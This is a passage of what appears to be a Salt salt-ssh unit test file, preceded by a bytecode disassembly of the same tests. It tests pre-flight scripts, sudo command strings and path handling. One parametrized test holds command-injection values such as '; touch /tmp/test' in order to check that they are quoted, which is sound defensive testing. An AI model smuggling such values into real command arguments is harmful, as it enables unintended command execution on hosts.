LOAD_METHOD assert_not_called CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST '$PATH:/tmp/path/' LOAD_FAST target LOAD_CONST 'set_path' STORE_SUBSCR LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST ('mods', 'fsclient', 'thin', 'mine') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_FAST single LOAD_METHOD _cmd_str CALL_METHOD STORE_FAST ret LOAD_GLOBAL re LOAD_METHOD search LOAD_CONST '\\' LOAD_FAST target LOAD_CONST 'set_path' BINARY_SUBSCR BINARY_ADD LOAD_FAST ret CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST ('mods', 'fsclient', 'thin', 'mine') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_FAST single LOAD_METHOD _cmd_str CALL_METHOD STORE_FAST ret LOAD_GLOBAL re LOAD_METHOD search LOAD_CONST 'SET_PATH=""' LOAD_FAST ret CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST False LOAD_CONST ('mods', 'fsclient', 'thin', 'mine', 'winrm') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_GLOBAL MagicMock LOAD_CONST ('', 'ERROR: Unable to locate appropriate python command\n', 10) LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_shim LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.Single.shim_cmd' LOAD_FAST mock_shim CALL_FUNCTION STORE_FAST patch_shim LOAD_FAST patch_shim SETUP_WITH to 106 POP_TOP LOAD_FAST single LOAD_METHOD cmd_block CALL_METHOD STORE_FAST ret LOAD_CONST 'ERROR: Python version error. Recommendation(s) follow:' LOAD_FAST ret LOAD_CONST 0 BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST grains LOAD_CONST 'os' BINARY_SUBSCR LOAD_CONST 'MacOS' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_CONST False RETURN_VALUE LOAD_CONST True LOAD_FAST opts LOAD_CONST 'ssh_run_pre_flight' STORE_SUBSCR LOAD_FAST tmp_path LOAD_CONST 'script.sh' BINARY_TRUE_DIVIDE STORE_FAST pre_flight_script LOAD_FAST pre_flight_script LOAD_METHOD write_text LOAD_CONST '' CALL_METHOD POP_TOP LOAD_GLOBAL str LOAD_FAST pre_flight_script CALL_FUNCTION LOAD_FAST target LOAD_CONST 'ssh_pre_flight' STORE_SUBSCR LOAD_FAST test_opts LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST test_opts LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST target LOAD_CONST 'ssh_pre_flight_args' STORE_SUBSCR LOAD_FAST test_opts LOAD_CONST 1 BINARY_SUBSCR STORE_FAST expected_args LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST ('mods', 'fsclient', 'thin', 'mine') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_CONST ('Success', '', 0) STORE_FAST cmd_ret LOAD_GLOBAL MagicMock LOAD_FAST cmd_ret LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_cmd LOAD_GLOBAL MagicMock LOAD_CONST ('', '', 0) LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_exec_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.Single.cmd_block' LOAD_FAST mock_cmd CALL_FUNCTION STORE_FAST patch_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.exec_cmd' LOAD_FAST mock_exec_cmd CALL_FUNCTION STORE_FAST patch_exec_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.send' LOAD_CONST ('', '', 0) LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST patch_shell_send LOAD_GLOBAL patch LOAD_CONST 'os.path.exists' LOAD_CONST True BUILD_LIST LOAD_CONST ('side_effect',) CALL_FUNCTION STORE_FAST patch_os LOAD_FAST patch_os SETUP_WITH to 288 POP_TOP LOAD_FAST patch_cmd SETUP_WITH to 278 POP_TOP LOAD_FAST patch_exec_cmd SETUP_WITH to 268 POP_TOP LOAD_FAST patch_shell_send SETUP_WITH to 258 POP_TOP LOAD_FAST single LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST mock_exec_cmd LOAD_ATTR mock_calls LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR STORE_FAST script_args LOAD_GLOBAL re LOAD_METHOD search LOAD_CONST "\\/bin\\/sh '.[a-z0-9]+" LOAD_FAST script_args CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST argv LOAD_CONST 'minion' STORE_FAST id_ LOAD_CONST 'minion' STORE_FAST host LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST argv LOAD_FAST id_ LOAD_FAST host LOAD_CONST False LOAD_CONST ('sudo',) CALL_FUNCTION STORE_FAST single LOAD_FAST single LOAD_METHOD _cmd_str CALL_METHOD STORE_FAST cmd LOAD_GLOBAL dedent LOAD_CONST '\n SUDO=""\n if [ -n "" ]\n then SUDO=" "\n fi\n SUDO_USER=""\n if [ "$SUDO" ] && [ "$SUDO_USER" ]\n then SUDO="$SUDO -u $SUDO_USER"\n fi\n ' CALL_FUNCTION STORE_FAST expected LOAD_FAST expected LOAD_FAST cmd COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST argv LOAD_CONST 'minion' STORE_FAST id_ LOAD_CONST 'minion' STORE_FAST host LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST argv LOAD_FAST id_ LOAD_FAST host LOAD_CONST True LOAD_CONST ('sudo',) CALL_FUNCTION STORE_FAST single LOAD_FAST single LOAD_METHOD _cmd_str CALL_METHOD STORE_FAST cmd LOAD_GLOBAL dedent LOAD_CONST '\n SUDO=""\n if [ -n "sudo" ]\n then SUDO="sudo "\n fi\n SUDO_USER=""\n if [ "$SUDO" ] && [ "$SUDO_USER" ]\n then SUDO="$SUDO -u $SUDO_USER"\n fi\n ' CALL_FUNCTION STORE_FAST expected LOAD_FAST expected LOAD_FAST cmd COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST argv LOAD_CONST 'minion' STORE_FAST id_ LOAD_CONST 'minion' STORE_FAST host LOAD_CONST 'wayne' STORE_FAST user LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST argv LOAD_FAST id_ LOAD_FAST host LOAD_CONST True LOAD_FAST user LOAD_CONST ('sudo', 'sudo_user') CALL_FUNCTION STORE_FAST single LOAD_FAST single LOAD_METHOD _cmd_str CALL_METHOD STORE_FAST cmd LOAD_GLOBAL dedent LOAD_CONST '\n SUDO=""\n if [ -n "sudo" ]\n then SUDO="sudo "\n fi\n SUDO_USER="wayne"\n if [ "$SUDO" ] && [ "$SUDO_USER" ]\n then SUDO="$SUDO -u $SUDO_USER"\n fi\n ' CALL_FUNCTION STORE_FAST expected LOAD_FAST expected LOAD_FAST cmd COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST argv LOAD_CONST 'minion' STORE_FAST id_ LOAD_CONST 'minion' STORE_FAST host LOAD_CONST 'salty' STORE_FAST passwd LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST argv LOAD_FAST id_ LOAD_FAST host LOAD_CONST True LOAD_FAST passwd LOAD_CONST ('sudo', 'passwd') CALL_FUNCTION STORE_FAST single LOAD_FAST single LOAD_METHOD _cmd_str CALL_METHOD STORE_FAST cmd LOAD_GLOBAL dedent LOAD_CONST '\n SUDO=""\n if [ -n "sudo -p \'[salt:sudo:d11bd4221135c33324a6bdc09674146fbfdf519989847491e34a689369bbce23]passwd:\'" ]\n then SUDO="sudo -p \'[salt:sudo:d11bd4221135c33324a6bdc09674146fbfdf519989847491e34a689369bbce23]passwd:\' "\n fi\n SUDO_USER=""\n if [ "$SUDO" ] && [ "$SUDO_USER" ]\n then SUDO="$SUDO -u $SUDO_USER"\n fi\n ' CALL_FUNCTION STORE_FAST expected LOAD_FAST expected LOAD_FAST cmd COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST argv LOAD_CONST 'minion' STORE_FAST id_ LOAD_CONST 'minion' STORE_FAST host LOAD_CONST 'wayne' STORE_FAST user LOAD_CONST 'salty' STORE_FAST passwd LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST argv LOAD_FAST id_ LOAD_FAST host LOAD_CONST True LOAD_FAST passwd LOAD_FAST user LOAD_CONST ('sudo', 'passwd', 'sudo_user') CALL_FUNCTION STORE_FAST single LOAD_FAST single LOAD_METHOD _cmd_str CALL_METHOD STORE_FAST cmd LOAD_GLOBAL dedent LOAD_CONST '\n SUDO=""\n if [ -n "sudo -p \'[salt:sudo:d11bd4221135c33324a6bdc09674146fbfdf519989847491e34a689369bbce23]passwd:\'" ]\n then SUDO="sudo -p \'[salt:sudo:d11bd4221135c33324a6bdc09674146fbfdf519989847491e34a689369bbce23]passwd:\' "\n fi\n SUDO_USER="wayne"\n if [ "$SUDO" ] && [ "$SUDO_USER" ]\n then SUDO="$SUDO -u $SUDO_USER"\n fi\n ' CALL_FUNCTION STORE_FAST expected LOAD_FAST expected LOAD_FAST cmd COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE
import logging import re from textwrap import dedent import pytest import salt.client.ssh.client import salt.config import salt.roster import salt.utils.files import salt.utils.path import salt.utils.platform import salt.utils.thin import salt.utils.yaml from salt.client import ssh from tests.support.mock import MagicMock, call, patch log = logging.getLogger(__name__) @pytest.fixture def opts(master_opts): master_opts["argv"] = [ "ssh.set_auth_key", "root", "hobn+amNAXSBTiOXEqlBjGB...rsa root@master", ] return master_opts @pytest.fixture def target(): return { "passwd": "abc123", "ssh_options": None, "sudo": False, "identities_only": False, "host": "login1", "user": "root", "timeout": 65, "remote_port_forwards": None, "sudo_user": "", "port": "22", "priv": "/etc/salt/pki/master/ssh/salt-ssh.rsa", } def test_single_opts(opts, target): """Sanity check for ssh.Single options""" single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, **target, ) assert single.shell._ssh_opts() == "" expected_cmd = ( "ssh login1 " "-o KbdInteractiveAuthentication=no -o " "PasswordAuthentication=yes -o ConnectTimeout=65 -o Port=22 " "-o IdentityFile=/etc/salt/pki/master/ssh/salt-ssh.rsa " "-o User=root date +%s" ) assert single.shell._cmd_str("date +%s") == expected_cmd def test_run_with_pre_flight(opts, target, tmp_path): """ test Single.run() when ssh_pre_flight is set and script successfully runs """ target["ssh_pre_flight"] = str(tmp_path / "script.sh") single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, **target, ) cmd_ret = ("Success", "", 0) mock_flight = MagicMock(return_value=cmd_ret) mock_cmd = MagicMock(return_value=cmd_ret) patch_flight = patch("salt.client.ssh.Single.run_ssh_pre_flight", mock_flight) patch_cmd = patch("salt.client.ssh.Single.cmd_block", mock_cmd) patch_exec_cmd = patch( "salt.client.ssh.shell.Shell.exec_cmd", return_value=("", "", 1) ) patch_os = patch("os.path.exists", side_effect=[True]) with patch_os, patch_flight, patch_cmd, patch_exec_cmd: ret = single.run() mock_cmd.assert_called() mock_flight.assert_called() assert ret == cmd_ret def test_run_with_pre_flight_with_args(opts, target, tmp_path): """ test Single.run() when ssh_pre_flight is set and script successfully runs """ target["ssh_pre_flight"] = str(tmp_path / "script.sh") target["ssh_pre_flight_args"] = "foobar" single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, **target, ) cmd_ret = ("Success", "foobar", 0) mock_flight = MagicMock(return_value=cmd_ret) mock_cmd = MagicMock(return_value=cmd_ret) patch_flight = patch("salt.client.ssh.Single.run_ssh_pre_flight", mock_flight) patch_cmd = patch("salt.client.ssh.Single.cmd_block", mock_cmd) patch_exec_cmd = patch( "salt.client.ssh.shell.Shell.exec_cmd", return_value=("", "", 1) ) patch_os = patch("os.path.exists", side_effect=[True]) with patch_os, patch_flight, patch_cmd, patch_exec_cmd: ret = single.run() mock_cmd.assert_called() mock_flight.assert_called() assert ret == cmd_ret def test_run_with_pre_flight_stderr(opts, target, tmp_path): """ test Single.run() when ssh_pre_flight is set and script errors when run """ target["ssh_pre_flight"] = str(tmp_path / "script.sh") single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, **target, ) cmd_ret = ("", "Error running script", 1) mock_flight = MagicMock(return_value=cmd_ret) mock_cmd = MagicMock(return_value=cmd_ret) patch_flight = patch("salt.client.ssh.Single.run_ssh_pre_flight", mock_flight) patch_cmd = patch("salt.client.ssh.Single.cmd_block", mock_cmd) patch_exec_cmd = patch( "salt.client.ssh.shell.Shell.exec_cmd", return_value=("", "", 1) ) patch_os = patch("os.path.exists", side_effect=[True]) with patch_os, patch_flight, patch_cmd, patch_exec_cmd: ret = single.run() mock_cmd.assert_not_called() mock_flight.assert_called() assert ret == cmd_ret def test_run_with_pre_flight_script_doesnot_exist(opts, target, tmp_path): """ test Single.run() when ssh_pre_flight is set and the script does not exist """ target["ssh_pre_flight"] = str(tmp_path / "script.sh") single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, **target, ) cmd_ret = ("Success", "", 0) mock_flight = MagicMock(return_value=cmd_ret) mock_cmd = MagicMock(return_value=cmd_ret) patch_flight = patch("salt.client.ssh.Single.run_ssh_pre_flight", mock_flight) patch_cmd = patch("salt.client.ssh.Single.cmd_block", mock_cmd) patch_exec_cmd = patch( "salt.client.ssh.shell.Shell.exec_cmd", return_value=("", "", 1) ) patch_os = patch("os.path.exists", side_effect=[False]) with patch_os, patch_flight, patch_cmd, patch_exec_cmd: ret = single.run() mock_cmd.assert_called() mock_flight.assert_not_called() assert ret == cmd_ret def test_run_with_pre_flight_thin_dir_exists(opts, target, tmp_path): """ test Single.run() when ssh_pre_flight is set and thin_dir already exists """ target["ssh_pre_flight"] = str(tmp_path / "script.sh") single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, **target, ) cmd_ret = ("", "", 0) mock_flight = MagicMock(return_value=cmd_ret) mock_cmd = MagicMock(return_value=cmd_ret) patch_flight = patch("salt.client.ssh.Single.run_ssh_pre_flight", mock_flight) patch_cmd = patch("salt.client.ssh.shell.Shell.exec_cmd", mock_cmd) patch_cmd_block = patch("salt.client.ssh.Single.cmd_block", mock_cmd) patch_os = patch("os.path.exists", return_value=True) with patch_os, patch_flight, patch_cmd, patch_cmd_block: ret = single.run() mock_cmd.assert_called() mock_flight.assert_not_called() assert ret == cmd_ret def test_run_ssh_pre_flight(opts, target, tmp_path): """ test Single.run_ssh_pre_flight function """ target["ssh_pre_flight"] = str(tmp_path / "script.sh") single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, **target, ) cmd_ret = ("Success", "", 0) mock_flight = MagicMock(return_value=cmd_ret) mock_cmd = MagicMock(return_value=cmd_ret) patch_flight = patch("salt.client.ssh.Single.run_ssh_pre_flight", mock_flight) patch_cmd = patch("salt.client.ssh.Single.cmd_block", mock_cmd) patch_exec_cmd = patch( "salt.client.ssh.shell.Shell.exec_cmd", return_value=("", "", 1) ) patch_os = patch("os.path.exists", side_effect=[True]) with patch_os, patch_flight, patch_cmd, patch_exec_cmd: ret = single.run() mock_cmd.assert_called() mock_flight.assert_called() assert ret == cmd_ret def test_execute_script(opts, target, tmp_path): """ test Single.execute_script() """ single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, winrm=False, **target, ) exp_ret = ("Success", "", 0) mock_cmd = MagicMock(return_value=exp_ret) patch_cmd = patch("salt.client.ssh.shell.Shell.exec_cmd", mock_cmd) script = str(tmp_path / "script.sh") with patch_cmd: ret = single.execute_script(script=script) assert ret == exp_ret assert mock_cmd.call_count == 2 assert [ call("/bin/sh '{}'".format(script)), call("rm '{}'".format(script)), ] == mock_cmd.call_args_list def test_shim_cmd(opts, target, tmp_path): """ test Single.shim_cmd() """ single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, winrm=False, tty=True, **target, ) exp_ret = ("Success", "", 0) mock_cmd = MagicMock(return_value=exp_ret) patch_cmd = patch("salt.client.ssh.shell.Shell.exec_cmd", mock_cmd) patch_send = patch("salt.client.ssh.shell.Shell.send", return_value=("", "", 0)) patch_rand = patch("os.urandom", return_value=b"5\xd9l\xca\xc2\xff") tmp_file = tmp_path / "tmp_file" mock_tmp = MagicMock() patch_tmp = patch("tempfile.NamedTemporaryFile", mock_tmp) mock_tmp.return_value.__enter__.return_value.name = tmp_file with patch_cmd, patch_tmp, patch_send: ret = single.shim_cmd(cmd_str="echo test") assert ret == exp_ret assert [ call(f"/bin/sh '.{tmp_file.name}'"), call(f"rm '.{tmp_file.name}'"), ] == mock_cmd.call_args_list def test_shim_cmd_copy_fails(opts, target, caplog): """ test Single.shim_cmd() when copying the file fails """ single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, winrm=False, tty=True, **target, ) ret_cmd = ("Success", "", 0) mock_cmd = MagicMock(return_value=ret_cmd) patch_cmd = patch("salt.client.ssh.shell.Shell.exec_cmd", mock_cmd) ret_send = ("", "General error in file copy", 1) patch_send = patch("salt.client.ssh.shell.Shell.send", return_value=ret_send) patch_rand = patch("os.urandom", return_value=b"5\xd9l\xca\xc2\xff") with patch_cmd, patch_rand, patch_send: ret = single.shim_cmd(cmd_str="echo test") assert ret == ret_send assert "Could not copy the shim script to target" in caplog.text mock_cmd.assert_not_called() def test_run_ssh_pre_flight_no_connect(opts, target, tmp_path, caplog): """ test Single.run_ssh_pre_flight when you cannot connect to the target """ pre_flight = tmp_path / "script.sh" pre_flight.write_text("") target["ssh_pre_flight"] = str(pre_flight) single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, winrm=False, tty=True, **target, ) mock_exec_cmd = MagicMock(return_value=("", "", 1)) patch_exec_cmd = patch("salt.client.ssh.shell.Shell.exec_cmd", mock_exec_cmd) tmp_file = tmp_path / "tmp_file" mock_tmp = MagicMock() patch_tmp = patch("tempfile.NamedTemporaryFile", mock_tmp) mock_tmp.return_value.__enter__.return_value.name = tmp_file ret_send = ( "", "ssh: connect to host 192.168.1.186 port 22: No route to host\nscp: Connection closed\n", 255, ) send_mock = MagicMock(return_value=ret_send) patch_send = patch("salt.client.ssh.shell.Shell.send", send_mock) with caplog.at_level(logging.TRACE): with patch_send, patch_exec_cmd, patch_tmp: ret = single.run_ssh_pre_flight() caplog.handler.flush() assert "Copying the pre flight script" in caplog.text assert "Could not copy the pre flight script to target" in caplog.text assert ret == ret_send assert send_mock.call_args_list[0][0][0] == tmp_file target_script = send_mock.call_args_list[0][0][1] assert re.search(r".[a-z0-9]+", target_script) mock_exec_cmd.assert_not_called() def test_run_ssh_pre_flight_permission_denied(opts, target, tmp_path): """ test Single.run_ssh_pre_flight when you cannot copy script to the target due to a permission denied error """ pre_flight = tmp_path / "script.sh" pre_flight.write_text("") target["ssh_pre_flight"] = str(pre_flight) single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, winrm=False, tty=True, **target, ) mock_exec_cmd = MagicMock(return_value=("", "", 1)) patch_exec_cmd = patch("salt.client.ssh.shell.Shell.exec_cmd", mock_exec_cmd) tmp_file = tmp_path / "tmp_file" mock_tmp = MagicMock() patch_tmp = patch("tempfile.NamedTemporaryFile", mock_tmp) mock_tmp.return_value.__enter__.return_value.name = tmp_file ret_send = ( "", 'scp: dest open "/tmp/preflight.sh": Permission denied\nscp: failed to upload file /etc/salt/preflight.sh to /tmp/preflight.sh\n', 255, ) send_mock = MagicMock(return_value=ret_send) patch_send = patch("salt.client.ssh.shell.Shell.send", send_mock) with patch_send, patch_exec_cmd, patch_tmp: ret = single.run_ssh_pre_flight() assert ret == ret_send assert send_mock.call_args_list[0][0][0] == tmp_file target_script = send_mock.call_args_list[0][0][1] assert re.search(r".[a-z0-9]+", target_script) mock_exec_cmd.assert_not_called() def test_run_ssh_pre_flight_connect(opts, target, tmp_path, caplog): """ test Single.run_ssh_pre_flight when you can connect to the target """ pre_flight = tmp_path / "script.sh" pre_flight.write_text("") target["ssh_pre_flight"] = str(pre_flight) single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, winrm=False, tty=True, **target, ) ret_exec_cmd = ("", "", 1) mock_exec_cmd = MagicMock(return_value=ret_exec_cmd) patch_exec_cmd = patch("salt.client.ssh.shell.Shell.exec_cmd", mock_exec_cmd) tmp_file = tmp_path / "tmp_file" mock_tmp = MagicMock() patch_tmp = patch("tempfile.NamedTemporaryFile", mock_tmp) mock_tmp.return_value.__enter__.return_value.name = tmp_file ret_send = ( "", "\[email protected]'s password: \n\rpreflight.sh 0% 0 0.0KB/s --:-- ETA\rpreflight.sh 100% 20 2.7KB/s 00:00 \n", 0, ) send_mock = MagicMock(return_value=ret_send) patch_send = patch("salt.client.ssh.shell.Shell.send", send_mock) with caplog.at_level(logging.TRACE): with patch_send, patch_exec_cmd, patch_tmp: ret = single.run_ssh_pre_flight() caplog.handler.flush() assert "Executing the pre flight script on target" in caplog.text assert ret == ret_exec_cmd assert send_mock.call_args_list[0][0][0] == tmp_file target_script = send_mock.call_args_list[0][0][1] assert re.search(r".[a-z0-9]+", target_script) mock_exec_cmd.assert_called() def test_run_ssh_pre_flight_shutil_fails(opts, target, tmp_path): """ test Single.run_ssh_pre_flight when cannot copyfile with shutil """ pre_flight = tmp_path / "script.sh" pre_flight.write_text("") target["ssh_pre_flight"] = str(pre_flight) single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, winrm=False, tty=True, **target, ) ret_exec_cmd = ("", "", 1) mock_exec_cmd = MagicMock(return_value=ret_exec_cmd) patch_exec_cmd = patch("salt.client.ssh.shell.Shell.exec_cmd", mock_exec_cmd) tmp_file = tmp_path / "tmp_file" mock_tmp = MagicMock() patch_tmp = patch("tempfile.NamedTemporaryFile", mock_tmp) mock_tmp.return_value.__enter__.return_value.name = tmp_file send_mock = MagicMock() mock_shutil = MagicMock(side_effect=IOError("Permission Denied")) patch_shutil = patch("shutil.copyfile", mock_shutil) patch_send = patch("salt.client.ssh.shell.Shell.send", send_mock) with patch_send, patch_exec_cmd, patch_tmp, patch_shutil: ret = single.run_ssh_pre_flight() assert ret == ( "", "Could not copy pre flight script to temporary path", 1, ) mock_exec_cmd.assert_not_called() send_mock.assert_not_called() @pytest.mark.skip_on_windows(reason="SSH_PY_SHIM not set on windows") @pytest.mark.slow_test def test_cmd_run_set_path(opts, target): """ test when set_path is set """ target["set_path"] = "$PATH:/tmp/path/" single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, **target, ) ret = single._cmd_str() assert re.search("\\" + target["set_path"], ret) @pytest.mark.skip_on_windows(reason="SSH_PY_SHIM not set on windows") @pytest.mark.slow_test def test_cmd_run_not_set_path(opts, target): """ test when set_path is not set """ single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, **target, ) ret = single._cmd_str() assert re.search('SET_PATH=""', ret) @pytest.mark.skip_on_windows(reason="SSH_PY_SHIM not set on windows") @pytest.mark.slow_test def test_cmd_block_python_version_error(opts, target): single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, winrm=False, **target, ) mock_shim = MagicMock( return_value=(("", "ERROR: Unable to locate appropriate python command\n", 10)) ) patch_shim = patch("salt.client.ssh.Single.shim_cmd", mock_shim) with patch_shim: ret = single.cmd_block() assert "ERROR: Python version error. Recommendation(s) follow:" in ret[0] def _check_skip(grains): if grains["os"] == "MacOS": return True return False @pytest.mark.skip_initial_gh_actions_failure(skip=_check_skip) @pytest.mark.skip_on_windows(reason="pre_flight_args is not implemented for Windows") @pytest.mark.parametrize( "test_opts", [ (None, ""), ("one", " one"), ("one two", " one two"), ("| touch /tmp/test", " '|' touch /tmp/test"), ("; touch /tmp/test", " ';' touch /tmp/test"), (["one"], " one"), (["one", "two"], " one two"), (["one", "two", "| touch /tmp/test"], " one two '| touch /tmp/test'"), (["one", "two", "; touch /tmp/test"], " one two '; touch /tmp/test'"), ], ) def test_run_with_pre_flight_args(opts, target, test_opts, tmp_path): """ test Single.run() when ssh_pre_flight is set and script successfully runs """ opts["ssh_run_pre_flight"] = True pre_flight_script = tmp_path / "script.sh" pre_flight_script.write_text("") target["ssh_pre_flight"] = str(pre_flight_script) if test_opts[0] is not None: target["ssh_pre_flight_args"] = test_opts[0] expected_args = test_opts[1] single = ssh.Single( opts, opts["argv"], "localhost", mods={}, fsclient=None, thin=salt.utils.thin.thin_path(opts["cachedir"]), mine=False, **target, ) cmd_ret = ("Success", "", 0) mock_cmd = MagicMock(return_value=cmd_ret) mock_exec_cmd = MagicMock(return_value=("", "", 0)) patch_cmd = patch("salt.client.ssh.Single.cmd_block", mock_cmd) patch_exec_cmd = patch("salt.client.ssh.shell.Shell.exec_cmd", mock_exec_cmd) patch_shell_send = patch( "salt.client.ssh.shell.Shell.send", return_value=("", "", 0) ) patch_os = patch("os.path.exists", side_effect=[True]) with patch_os, patch_cmd, patch_exec_cmd, patch_shell_send: single.run() script_args = mock_exec_cmd.mock_calls[0].args[0] assert re.search(r"\/bin\/sh '.[a-z0-9]+", script_args) @pytest.mark.slow_test @pytest.mark.skip_on_windows(reason="Windows does not support salt-ssh") @pytest.mark.skip_if_binaries_missing("ssh", check_all=True) def test_ssh_single__cmd_str(opts): argv = [] id_ = "minion" host = "minion" single = 